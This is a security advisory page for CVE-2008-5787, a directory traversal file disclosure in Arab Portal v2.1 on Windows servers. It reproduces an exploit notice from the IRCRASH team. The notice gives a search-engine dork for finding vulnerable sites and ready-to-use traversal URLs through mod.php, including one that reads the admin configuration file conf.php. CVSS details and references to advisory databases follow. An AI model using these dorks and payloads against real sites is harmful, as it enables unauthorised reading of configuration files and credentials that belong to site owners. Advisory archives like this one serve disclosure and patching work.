Arab Portal v2.1 Remote File Disclosure (Win32)

2008-11-06 / 2008-11-07
Credit: r3d.w0rm_at_yahoo.com
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2008-5787
CWE: CWE-22


CVSS Base Score: 5.4/10
Impact Subscore: 6.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

##################################################################################### #### Arab Portal v2.1 Remote File Disclosure (Win32) #### ##################################################################################### # # #AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) # #Discovered by : R3d.W0rm (Sina Yazdanmehr) # #Our Site : http://IRCRASH.COM # #IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi # ##################################################################################### # # #Download : www.arabportal.net # # # #DORK : Powered by: Arab Portal inurl:mod.php?mod=html # # # ##################################################################################### # [Bug] # # # #http://Site/[path]/mod.php?mod=html&modfile=show&file=..\File.Type # # # #Config File : # #http://Site/[path]/mod.php?mod=html&modfile=show&file=..\..\..\admin\conf.php # # # #Note : This bug only work on windows servers . # # # ##################################################################################### # Site : http://IRCRASH.COM # ###################################### TNX GOD ######################################

References:

http://xforce.iss.net/xforce/xfdb/46404
http://www.securityfocus.com/bid/32146
http://www.securityfocus.com/archive/1/archive/1/498092/100/0/threaded
http://www.milw0rm.com/exploits/7019
http://secunia.com/advisories/32590


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top